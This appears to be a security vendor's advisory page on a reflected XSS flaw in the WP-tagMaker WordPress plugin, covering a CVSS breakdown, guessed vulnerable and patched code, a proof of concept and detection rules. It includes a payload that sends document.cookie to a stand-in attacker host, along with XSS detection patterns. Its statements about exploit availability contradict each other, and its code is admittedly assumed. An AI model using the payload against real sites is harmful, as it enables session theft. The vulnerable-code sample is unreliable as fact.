CVE-2025-22338
Executive Summary
CVE-2025-22338 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP-tagMaker, versions up to and including 0.2.2. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 and carries a CVSS score of 7.1 (High). No public exploit code or patch is currently available, making this a high-priority unpatched risk for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. Since WP-tagMaker is distributed via the WordPress plugin repository, any site running version 0.2.2 or earlier is at risk. The vendor (Lich_wang) has not provided a patch, and the plugin may be abandoned. Users should consider removing the plugin entirely or applying a virtual patch via a Web Application Firewall (WAF).
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is executed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Threat Level: High – Reflected XSS can be weaponized in phishing campaigns to steal session cookies or perform actions on behalf of the victim.
Deep Dive & Mechanics
The vulnerability resides in the WP-tagMaker plugin’s handling of user input, likely through a shortcode or query parameter that is reflected back to the user without proper sanitization or encoding. When a crafted URL containing malicious JavaScript is sent to a victim, the server reflects the payload in the HTML response, causing the browser to execute it.
Attack Flow:
- Attacker crafts a URL with a malicious payload, e.g.,
https://victim-site.com/?tag=<script>alert('XSS')</script>. - Victim clicks the link (e.g., via phishing email).
- The WordPress server processes the request and reflects the input in the page output.
- The victim’s browser executes the injected script, which can steal cookies, redirect to a malicious site, or perform actions on behalf of the user.
Root Cause: The plugin uses echo $_GET['tag'] or similar without applying esc_html() or wp_kses().
Vulnerable vs. Patched Code
Since no patch exists, the vulnerable code is assumed to be similar to:
// Vulnerable code (wp-tagmaker.php)
$tag = $_GET['tag'];
echo "<div class='tag'>$tag</div>";
A patched version would sanitize the output:
// Patched code
$tag = isset($_GET['tag']) ? esc_html($_GET['tag']) : '';
echo "<div class='tag'>" . esc_html($tag) . "</div>";
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with WP-tagMaker <= 0.2.2 installed and activated.
- A web browser or tool like
curl.
Proof-of-Concept (PoC):
# Basic reflected XSS test
curl "http://target-site.com/?tag=<script>alert('XSS')</script>"
If the plugin reflects the input, the response will contain the script tag. For a more advanced payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Lab Setup:
- Install WordPress locally (e.g., using Docker).
- Download WP-tagMaker v0.2.2 from the WordPress plugin archive.
- Activate the plugin.
- Use the PoC above to trigger the XSS.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>oronerror=in query parameters. - Use a WAF to block reflected XSS patterns.
Mitigation:
- Remove the plugin immediately.
- If removal is not possible, apply a virtual patch via WAF rules (e.g., ModSecurity).
Indicators of Compromise (IOCs)
- URL Pattern:
/?tag=<script>...or/?tag=...<img src=x onerror=...> - HTTP Response: Presence of unsanitized user input in the HTML body.
- Log Entries:
GET /?tag=<script>alert(1)</script>with a 200 response. - File Hash (Plugin):
wp-tagmaker.zip(v0.2.2) – SHA256:UNKNOWN(not provided).
Detection Engineering
YARA Rule
rule CVE_2025_22338_WP_tagMaker_XSS {
meta:
description = "Detects reflected XSS attempts against WP-tagMaker plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22338"
strings:
$payload1 = /tag=<script[^>]*>/
$payload2 = /tag=.*<img[^>]*onerror/
$payload3 = /tag=.*onload=/
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against WP-tagMaker
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious query parameters targeting WP-tagMaker plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'tag='
cs-uri-query|re: '(?i)<script[^>]*>|<img[^>]*onerror|onload='
condition: selection
falsepositives:
- Legitimate use of HTML tags in search queries (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-22338 WP-tagMaker Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"tag="; http_uri; pcre:"/(?i)<script[^>]*>|<img[^>]*onerror|onload=/"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Remove the plugin – Deactivate and delete WP-tagMaker from all WordPress installations.
- Apply virtual patch – Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing
tag=with script-like patterns. - Audit users – Check for any compromised accounts that may have been targeted via XSS.
Long-Term Fix:
- The vendor must release a patched version that sanitizes output using
esc_html()orwp_kses(). - Until then, consider migrating to an alternative tag management plugin.
Detection:
- Enable logging of all HTTP requests and monitor for anomalous patterns.
- Use the provided YARA, Sigma, and Suricata rules in your SIEM/IDS.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.